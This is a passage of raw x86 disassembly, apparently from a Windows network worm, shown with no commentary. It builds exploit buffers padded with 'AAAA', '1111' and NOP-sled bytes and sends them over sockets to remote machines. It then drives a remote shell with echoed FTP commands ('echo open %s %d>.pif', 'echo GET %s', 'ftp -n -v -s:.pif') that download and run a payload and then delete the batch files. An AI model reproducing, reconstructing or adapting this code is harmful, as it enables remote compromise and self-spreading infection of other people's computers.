lea edi, [esp+864h+var_800]
push offset aCccc ; "CCCC"
rep stosd
lea ecx, [esp+868h+var_848]
call sub_402054
push 4
push offset dword_4458C4
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov ecx, [esp+864h+arg_4]
push esi
push ecx
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov edx, 408h
lea eax, [esp+864h+var_800]
sub edx, esi
lea ecx, [esp+864h+var_848]
push edx
push eax
call sub_4012C6
lea ecx, [esp+864h+var_848]
call sub_401B7C
mov ecx, [esp+864h+var_844]
mov edx, [esp+864h+var_848]
push ecx
push edx
lea ecx, [esp+86Ch+var_820]
call sub_401505
mov eax, [esp+864h+var_80C]
mov ecx, [esp+864h+var_810]
push eax
push ecx
lea ecx, [esp+86Ch+var_820]
call sub_401505
lea ecx, [esp+864h+var_820]
call sub_4017D5
lea ecx, [esp+864h+var_848]
call sub_4016C2
lea ecx, [esp+864h+var_810]
call sub_4016C2
mov edx, [esp+864h+var_83C]
mov eax, [esp+864h+var_840]
push edx
push eax
lea ecx, [esp+86Ch+var_828]
call sub_401505
mov ecx, [esp+864h+var_82C]
mov edx, [esp+864h+var_830]
push ecx
push edx
lea ecx, [esp+86Ch+var_828]
call sub_401505
mov eax, [esp+864h+var_81C]
mov ecx, [esp+864h+var_820]
push eax
push ecx
lea ecx, [esp+86Ch+var_828]
call sub_401505
lea ecx, [esp+864h+var_828]
call sub_4017D5
lea ecx, [esp+864h+var_840]
call sub_4016C2
lea ecx, [esp+864h+var_830]
call sub_4016C2
lea ecx, [esp+864h+var_820]
call sub_4016C2
mov ecx, 200h
mov eax, 41414141h
lea edi, [esp+864h+var_800]
lea edx, [esp+864h+var_800]
rep stosd
push 400h
push edx
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
lea ecx, [esp+864h+var_838]
call sub_401B7C
push 2
push offset dword_445C34
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
mov eax, [esp+864h+var_824]
mov ecx, [esp+864h+var_828]
push eax
push ecx
lea ecx, [esp+86Ch+var_838]
call sub_401505
lea ecx, [esp+864h+var_838]
call sub_4017D5
lea ecx, [esp+864h+var_828]
call sub_4016C2
lea ecx, [esp+864h+var_850]
call sub_4012A8
lea ecx, [esp+864h+var_858]
call sub_4012A8
mov edx, [esp+864h+var_834]
mov eax, [esp+864h+var_838]
push edx
push eax
lea ecx, [esp+86Ch+var_850]
call sub_401505
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_838]
call sub_4016C2
push offset dword_445C30
lea ecx, [esp+868h+var_858]
call sub_402054
mov ecx, [esp+864h+var_84C]
mov edx, [esp+864h+var_850]
push ecx
push edx
lea ecx, [esp+86Ch+var_858]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016C2
push offset dword_444E78
lea ecx, [esp+868h+var_850]
call sub_402054
mov eax, [esp+864h+var_854]
mov ecx, [esp+864h+var_858]
push eax
push ecx
lea ecx, [esp+86Ch+var_850]
call sub_401505
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_858]
call sub_4016C2
push offset dword_445C24
lea ecx, [esp+868h+var_858]
call sub_402054
mov edx, [esp+864h+var_84C]
mov eax, [esp+864h+var_850]
push edx
push eax
lea ecx, [esp+86Ch+var_858]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016C2
push offset dword_445C20
lea ecx, [esp+868h+var_818]
call sub_402054
mov ecx, [esp+864h+var_854]
mov edx, [esp+864h+var_858]
push ecx
push edx
lea ecx, [esp+86Ch+var_818]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4016C2
mov eax, [esp+864h+arg_0]
mov ecx, [esp+864h+var_818]
mov edx, [esp+864h+var_814]
pop edi
mov [eax], ecx
pop esi
mov [eax+4], edx
pop ebx
add esp, 858h
retn
; ---------------------------------------------------------------------------
loc_424CF5: ; CODE XREF: sub_424920+1Ej
; sub_424920+33j
mov eax, [esp+860h+arg_0]
mov ecx, [esp+860h+var_818]
mov edx, [esp+860h+var_814]
pop esi
mov [eax], ecx
mov [eax+4], edx
pop ebx
add esp, 858h
retn
sub_424920 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E20 proc near ; CODE XREF: sub_401AC8j
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 210h
push esi
mov esi, [esp+214h+arg_0]
lea eax, [esp+214h+var_210]
lea ecx, [esp+214h+var_104]
push eax
push ecx
lea edx, [esp+21Ch+var_208]
push 0
lea eax, [esi+1]
push edx
push eax
mov [esp+228h+var_204], esi
mov [esp+228h+var_208], 1
mov [esp+228h+var_100], esi
mov [esp+228h+var_104], 1
mov [esp+228h+var_210], 0Ah
mov [esp+228h+var_20C], 0
call near ptr 71AB2DC0h
nop
cmp eax, 1
jz short loc_424E89
xor eax, eax
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424E89: ; CODE XREF: sub_424E20+5Dj
lea ecx, [esp+214h+var_208]
push ecx
push esi
call sub_438256
sub_424E20 endp
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_424EA0
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424EA0: ; CODE XREF: ___:00424E96j
mov edx, [esp+224h]
mov eax, [esp+220h]
mov ecx, [esp+21Ch]
push edx
push eax
push ecx
push esi
call near ptr 71AB615Ah
nop
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424F00 proc near ; CODE XREF: sub_4012F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
push edi
push esi
nop
call near ptr 71AB2BC0h
mov edi, [esp+0Ch+arg_0]
mov ebx, dword_511CA0
mov [esp+0Ch+arg_8], eax
push 0
lea eax, [esp+10h+arg_8]
push 4
push eax
push edi
call ebx
cmp eax, 4
jz short loc_424F33
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424F33: ; CODE XREF: sub_424F00+2Bj
mov ecx, [esp+0Ch+arg_4]
push 0
push esi
push ecx
push edi
call ebx
xor edx, edx
cmp eax, esi
setz dl
pop edi
pop esi
mov al, dl
pop ebx
retn
sub_424F00 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424F70 proc near ; CODE XREF: sub_4012F8j
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 104h
push ebx
push ebp
mov ebp, [esp+10Ch+arg_8]
push esi
lea esi, [ebp+41h]
push esi
mov [esp+114h+var_104], esi
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424FA3
pop esi
pop ebp
xor al, al
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424FA3: ; CODE XREF: sub_424F70+25j
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebx
mov esi, offset dword_445954
shr ecx, 2
rep stosd
mov ecx, edx
push 85h
and ecx, 3
push offset dword_4458CC
rep stosb
mov ecx, 0Bh
mov edi, ebx
rep movsd
movsw
movsb
mov [ebx+2Fh], bp
mov eax, dword_445984
mov [ebx+31h], eax
mov ecx, dword_445988
mov esi, [esp+11Ch+arg_4]
mov [ebx+35h], ecx
mov ecx, ebp
lea eax, [ebx+3Bh]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov [ebx+39h], bp
add eax, ebp
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, dword_510110
mov esi, [esp+11Ch+arg_0]
mov [eax], ecx
mov dx, word_510114
push esi
mov [eax+4], dx
call sub_4012F3
add esp, 0Ch
test al, al
pop edi
jnz short loc_425048
push ebx
call near ptr 77C2C21Bh
nop
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_425048: ; CODE XREF: sub_424F70+C0j
push 0
lea eax, [esp+114h+var_100]
push 100h
push eax
push esi
call sub_401AC8
mov ecx, [esp+120h+var_104]
push ecx
push ebx
push esi
call sub_4012F3
add esp, 1Ch
test al, al
jnz short loc_425083
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_425083: ; CODE XREF: sub_424F70+FBj
push 0
lea edx, [esp+114h+var_100]
push 100h
push edx
push esi
call sub_401AC8
push ebx
call near ptr 77C2C21Bh
nop
add esp, 14h
mov al, 1
pop esi
pop ebp
pop ebx
add esp, 104h
retn
sub_424F70 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425100 proc near ; CODE XREF: sub_401820j
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = word ptr -418h
var_416 = dword ptr -416h
var_412 = dword ptr -412h
var_40E = dword ptr -40Eh
var_40A = word ptr -40Ah
var_408 = dword ptr -408h
var_400 = byte ptr -400h
var_3FF = byte ptr -3FFh
var_371 = byte ptr -371h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_9E = dword ptr 0A2h
sub esp, 420h
push ebp
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [esp+42Ch+var_3FF]
rep stosd
stosw
stosb
mov ecx, 23h
mov esi, offset sub_445AF8
lea edi, [esp+42Ch+var_400]
rep movsd
movsw
mov ecx, offset byte_449521
movsb
call sub_4017EE
push eax
mov ecx, offset byte_449521
call sub_4017EE
mov ecx, [esp+430h+arg_0]
push eax
mov eax, dword_44965F
push eax
push ecx
call sub_401E10
add esp, 4
lea edx, [esp+438h+var_371]
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
push 400h
push edx
call near ptr 77C3FA76h
nop
add eax, 90h
lea ecx, [esp+448h+var_408]
push eax
lea eax, [esp+44Ch+var_400]
push eax
push 164h
push offset sub_445990
push ecx
call sub_401BFE
mov edx, [eax]
xor edi, edi
mov [esp+45Ch+var_420], edx
add esp, 30h
mov eax, [eax+4]
cmp eax, edi
mov [esp+42Ch+var_41C], eax
jnz short loc_4251B2
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 420h
retn
; ---------------------------------------------------------------------------
loc_4251B2: ; CODE XREF: sub_425100+A4j
mov ebp, dword_511C38
mov [esp+42Ch+var_408], edi
loc_4251BC: ; CODE XREF: sub_425100+161j
test edi, edi
jnz loc_425267
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_42524A
mov ecx, [esp+42Ch+arg_9E]
xor eax, eax
mov [esp+42Ch+var_416], eax
push ecx
mov [esp+430h+var_412], eax
mov [esp+430h+var_418], 2
mov [esp+430h+var_40E], eax
mov [esp+430h+var_40A], ax
call ebp
lea edx, [esp+42Ch+arg_4]
mov word ptr [esp+42Ch+var_416], ax
push edx
nop
call near ptr 71AB2BF4h
mov [esp+42Ch+var_416+2], eax
lea eax, [esp+42Ch+var_418]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz short loc_42523F
mov ecx, [esp+42Ch+var_41C]
mov edx, [esp+42Ch+var_420]
push ecx
push edx
push esi
call sub_4012F8
add esp, 0Ch
and eax, 0FFh
mov edi, eax
loc_42523F: ; CODE XREF: sub_425100+123j
push esi
nop
call near ptr 71AB9639h
test edi, edi
jnz short loc_425255
loc_42524A: ; CODE XREF: sub_425100+D5j
push 3E8h
call near ptr 2831CE8h
nop
loc_425255: ; CODE XREF: sub_425100+148j
mov eax, [esp+42Ch+var_408]
inc eax
cmp eax, 2
mov [esp+42Ch+var_408], eax
jl loc_4251BC
loc_425267: ; CODE XREF: sub_425100+BEj
lea ecx, [esp+42Ch+var_420]
call sub_4016C2
test edi, edi
jz short loc_425297
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+4E8h+arg_0]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_425297: ; CODE XREF: sub_425100+172j
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 420h
retn
sub_425100 endp
; ---------------------------------------------------------------------------
aRrrrrrrrrr db ''
db '',1Bh,0
align 4
dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h
dd 2EE06800h, 77E80000h, 83FFFDCEh, 18A308C4h, 0C3005101h
dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_425370 proc near ; CODE XREF: sub_4013D4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
push 0C8h
nop
call near ptr 2831CE8h
mov edx, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
mov eax, [esp+4+arg_0]
push 0
not ecx
dec ecx
push ecx
push edx
push eax
call near ptr 71AB428Ah
nop
cmp eax, 0FFFFFFFFh
pop edi
setnz al
retn
sub_425370 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4253C0 proc near ; CODE XREF: sub_4013BBj
var_434 = byte ptr -434h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_4253C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 428h
xor eax, eax
push ebx
mov [esp+438h+var_41C], eax
push esi
mov [esp+43Ch+var_418], eax
lea ecx, [esp+43Ch+arg_4]
push edi
mov [esp+440h+var_414], eax
push ecx
mov [esp+444h+var_410], eax
mov word ptr [esp+444h+var_41C], 2
nop
call near ptr 71AB2BF4h
mov dx, word_510118
mov [esp+440h+var_418], eax
push edx
call near ptr 71AB2B66h
nop
push 0
push 1
push 2
mov word ptr [esp+44Ch+var_41C+2], ax
nop
call near ptr 71AB3B91h
mov esi, eax
or ebx, 0FFFFFFFFh
cmp esi, ebx
jz loc_4256BE
lea eax, [esp+440h+var_41C]
push 10h
push eax
push esi
call near ptr 71AB406Ah
nop
cmp eax, ebx
jz loc_4256BE
mov edi, dword_511CA4
push 0
lea ecx, [esp+444h+var_40C]
push 400h
push ecx
push esi
call edi
lea ecx, [esp+440h+var_434]
call sub_40142E
mov edx, dword_44965F
mov eax, [esp+440h+arg_0]
push edx
push eax
mov [esp+448h+var_4], 0
call sub_401E10
add esp, 4
lea ecx, [esp+444h+var_434]
push eax
push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
mov ecx, offset byte_449521
call sub_4017EE
push eax
lea ecx, [esp+444h+var_434]
push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoBye_pif ; "echo bye>>.pif \r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea ecx, [esp+440h+var_434]
push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
mov ecx, offset byte_449521
call sub_4017EE
push eax
lea edx, [esp+444h+var_434]
push offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea ecx, [esp+440h+var_434]
push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea eax, [esp+440h+var_434]
push offset dword_4467BC
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jnz short loc_4256C2
loc_4256AE: ; CODE XREF: sub_4253C0+F3j
; sub_4253C0+120j ...
lea ecx, [esp+440h+var_434]
mov [esp+440h+var_4], ebx
call sub_401226
loc_4256BE: ; CODE XREF: sub_4253C0+6Fj
; sub_4253C0+85j
xor al, al
jmp short loc_4256EA
; ---------------------------------------------------------------------------
loc_4256C2: ; CODE XREF: sub_4253C0+2ECj
push 0
lea ecx, [esp+444h+var_40C]
push 400h
push ecx
push esi
call edi
push esi
call near ptr 71AB9639h
nop
lea ecx, [esp+440h+var_434]
mov [esp+440h+var_4], ebx
call sub_401226
mov al, 1
loc_4256EA: ; CODE XREF: sub_4253C0+300j
mov ecx, [esp+440h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 434h
retn
sub_4253C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4257F0 proc near ; CODE XREF: sub_40180Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_28 = byte ptr 2Ch
arg_2C = byte ptr 30h
arg_2F = byte ptr 33h
arg_59 = byte ptr 5Dh
arg_5B = byte ptr 5Fh
arg_5C = byte ptr 60h
arg_90 = byte ptr 94h
arg_A4 = byte ptr 0A8h
arg_A5 = byte ptr 0A9h
arg_F0 = byte ptr 0F4h
arg_190 = byte ptr 194h
arg_89C = dword ptr 8A0h
arg_8AC = byte ptr 8B0h
arg_8D4 = dword ptr 8D8h
arg_8E4 = byte ptr 8E8h
arg_C08 = dword ptr 0C0Ch
arg_C0C = dword ptr 0C10h
arg_C18 = byte ptr 0C1Ch
arg_E30 = byte ptr 0E34h
arg_E50 = byte ptr 0E54h
arg_E70 = byte ptr 0E74h
arg_E90 = byte ptr 0E94h
arg_1480 = byte ptr 1484h
arg_14E0 = byte ptr 14E4h
arg_14FC = byte ptr 1500h
arg_1CCC = byte ptr 1CD0h
arg_2177 = byte ptr 217Bh
arg_2464 = byte ptr 2468h
arg_24C5 = byte ptr 24C9h
arg_34F8 = byte ptr 34FCh
arg_3FA0 = byte ptr 3FA4h
arg_3FC0 = byte ptr 3FC4h
arg_401C = byte ptr 4020h
arg_401D = byte ptr 4021h
arg_4020 = byte ptr 4024h
arg_4030 = byte ptr 4034h
arg_4AF4 = byte ptr 4AF8h
arg_6098 = byte ptr 609Ch
arg_60F8 = byte ptr 60FCh
arg_6100 = byte ptr 6104h
arg_8140 = byte ptr 8144h
arg_81DC = byte ptr 81E0h
arg_8234 = dword ptr 8238h
arg_8290 = dword ptr 8294h
arg_8294 = dword ptr 8298h
mov eax, 81D8h
call sub_437B30
mov eax, dword_44691C
mov ecx, dword_446920
push ebx
push ebp
push esi
lea edx, [esp+0Ch+arg_81DC]
push edi
mov [esp+10h], eax
push edx
lea eax, [esp+14h+arg_4]
push offset dword_446910
push eax
mov [esp+1Ch+arg_0], ecx
nop
call near ptr word_5F67AE
add esp, 0Ch
xor eax, eax
lea ecx, [esp+10h+arg_A5]
loc_425835: ; CODE XREF: sub_4257F0+56j
mov dl, [esp+eax+10h+arg_4]
inc eax
mov [ecx-1], dl
mov byte ptr [ecx], 0
add ecx, 2
cmp eax, 28h
jl short loc_425835
mov ecx, 18h
mov esi, offset dword_4461E0
lea edi, [esp+10h+arg_2C]
xor eax, eax
rep movsd
lea edi, [esp+10h+arg_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea esi, [esp+10h+arg_A4]
shl ecx, 1
mov eax, ecx
lea edi, [esp+10h+arg_5C]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
mov edx, dword_446237
rep movsb
lea edi, [esp+10h+arg_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
mov eax, dword_44623B
dec ecx
lea edi, [esp+10h+arg_4]
lea ecx, [esp+ecx*2+10h+arg_5B]
mov [ecx], edx
mov dl, byte_44623F
mov [ecx+4], eax
xor eax, eax
mov [ecx+8], dl
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+10h+arg_4]
mov ebx, ecx
or ecx, 0FFFFFFFFh
add bl, 1Ah
shl bl, 1
repne scasb
mov ax, word_510118
mov [esp+10h+arg_2F], bl
not ecx
dec ecx
push eax
shl cl, 1
add cl, 9
mov [esp+14h+arg_59], cl
nop
call near ptr 71AB2B66h
mov edx, [esp+14h+arg_8294]
xor eax, 9999h
test edx, edx
mov word_445EE0, ax
jz loc_4259E3
mov ecx, 36Bh
mov eax, 90909090h
lea edi, [esp+14h+arg_F0]
mov edx, dword_4465D4[edx*8]
rep stosd
mov edi, offset loc_445E30
or ecx, 0FFFFFFFFh
xor eax, eax
mov esi, offset loc_445E30
repne scasb
not ecx
dec ecx
lea edi, [esp+14h+arg_8E4]
mov eax, ecx
mov [esp+14h+arg_8D4], edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, dword_446908
mov edi, offset loc_445E30
mov [esp+14h+arg_C08], ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov [esp+14h+arg_C0C], edx
mov edx, ecx
mov esi, offset loc_445E30
lea edi, [esp+14h+arg_C18]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+14h+arg_24C5]
loc_42598F: ; CODE XREF: sub_4257F0+1B5j
mov dl, [esp+eax+14h+arg_F0]
inc eax
mov [ecx-1], dl
mov byte ptr [ecx], 0
add ecx, 2
cmp eax, 0DACh
jl short loc_42598F
mov ecx, 714h
mov eax, 31313131h
lea edi, [esp+14h+arg_60F8]
mov [esp+14h+arg_401C], 0
rep stosd
stosw
mov ecx, 714h
mov eax, 31313131h
lea edi, [esp+14h+arg_4020]
mov [esp+14h+arg_401D], 0
rep stosd
stosw
jmp short loc_425A52
; ---------------------------------------------------------------------------
loc_4259E3: ; CODE XREF: sub_4257F0+10Bj
mov ecx, 1F4h
mov eax, 90909090h
lea edi, [esp+14h+arg_F0]
mov esi, offset loc_445E30
rep stosd
mov edi, offset loc_445E30
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea edi, [esp+14h+arg_190]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+14h+var_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea esi, [esp+14h+var_4]
mov edx, ecx
lea edi, [esp+14h+arg_8AC]
shr ecx, 2
rep movsd
mov eax, dword_4465D4
mov ecx, edx
and ecx, 3
rep movsb
mov [esp+14h+arg_89C], eax
loc_425A52: ; CODE XREF: sub_4257F0+1F1j
mov ecx, 38Ah
mov eax, 31313131h
lea edi, [esp+14h+arg_14E0]
mov ebp, [esp+14h+arg_8290]
rep stosd
movsx ecx, bl
mov ebx, dword_511CA0
add ecx, 4
push 0
lea edx, [esp+18h+arg_28]
push ecx
push edx
push ebp
stosb
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_425A96
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425A96: ; CODE XREF: sub_4257F0+297j
mov esi, dword_511CA4
push 0
lea eax, [esp+28h+arg_E90]
push 640h
push eax
push ebp
call esi
push 0
push 68h
push offset dword_446244
push ebp
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_425ACC
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425ACC: ; CODE XREF: sub_4257F0+2CDj
push 0
lea ecx, [esp+48h+arg_E70]
push 640h
push ecx
push ebp
call esi
push 0
push 0A0h
push offset dword_4462B0
push ebp
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_425AFF
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425AFF: ; CODE XREF: sub_4257F0+300j
push 0
lea edx, [esp+68h+arg_E50]
push 640h
push edx
push ebp
call esi
mov eax, [esp+74h+arg_8234]
test eax, eax
jz loc_425BE5
mov ecx, 1Ah
mov esi, offset dword_446468
lea edi, [esp+74h+arg_6098]
push 0
rep movsd
mov ecx, 6D6h
lea esi, [esp+78h+arg_2464]
lea edi, [esp+78h+arg_6100]
lea eax, [esp+78h+arg_6098]
rep movsd
movsw
mov ecx, 1Ch
mov esi, offset dword_4464D4
lea edi, [esp+78h+arg_3FC0]
push 10FCh
rep movsd
mov ecx, 297h
lea esi, [esp+7Ch+arg_34F8]
lea edi, [esp+7Ch+arg_4030]
push eax
rep movsd
movsw
mov ecx, 21h
mov esi, offset dword_446548
lea edi, [esp+80h+arg_4AF4]
push ebp
rep movsd
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_425BAB
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_4257F0+3ACj
push 0
lea ecx, [esp+88h+arg_E30]
push 640h
push ecx
push ebp
nop
call near ptr 71AB615Ah
push 0
lea edx, [esp+98h+arg_3FA0]
push 0FDCh
push edx
push ebp
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_425C4C
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425BE5: ; CODE XREF: sub_4257F0+32Aj
mov ecx, 1Fh
mov esi, offset dword_446354
lea edi, [esp+74h+arg_1480]
push 0
rep movsd
mov ecx, 1F4h
lea esi, [esp+78h+arg_90]
lea edi, [esp+78h+arg_14FC]
lea eax, [esp+78h+arg_1480]
rep movsd
mov ecx, 24h
mov esi, offset off_4463D4
lea edi, [esp+78h+arg_1CCC]
push 0CF8h
push eax
push ebp
rep movsd
mov [esp+84h+arg_2177], 0
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_425C4C
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425C4C: ; CODE XREF: sub_4257F0+3E6j
; sub_4257F0+44Dj
push 12Ch
nop
call near ptr 2831CE8h
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+164h+arg_8140]
mov edi, esp
rep movsd
movsw
call sub_4013BB
add esp, 0BCh
test al, al
pop edi
pop esi
pop ebp
pop ebx
setnz al
add esp, 81D8h
retn
sub_4257F0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 130h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425DC0: ; CODE XREF: ___:00401DCAj
sub esp, 650h
xor eax, eax
push ebx
mov [esp+4], eax
push esi
mov [esp+0Ch], eax
lea ecx, [esp+660h]
push edi
mov [esp+14h], eax
push ecx
mov [esp+1Ch], eax
mov word ptr [esp+10h], 2
call near ptr 71AB2BF4h
nop
mov edx, [esp+6FEh]
mov [esp+10h], eax
push edx
call near ptr 71AB2B66h
nop
push 6
push 1
push 2
mov [esp+1Ah], ax
nop
call near ptr 71AB3B91h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_425E26
xor eax, eax
pop edi
pop esi
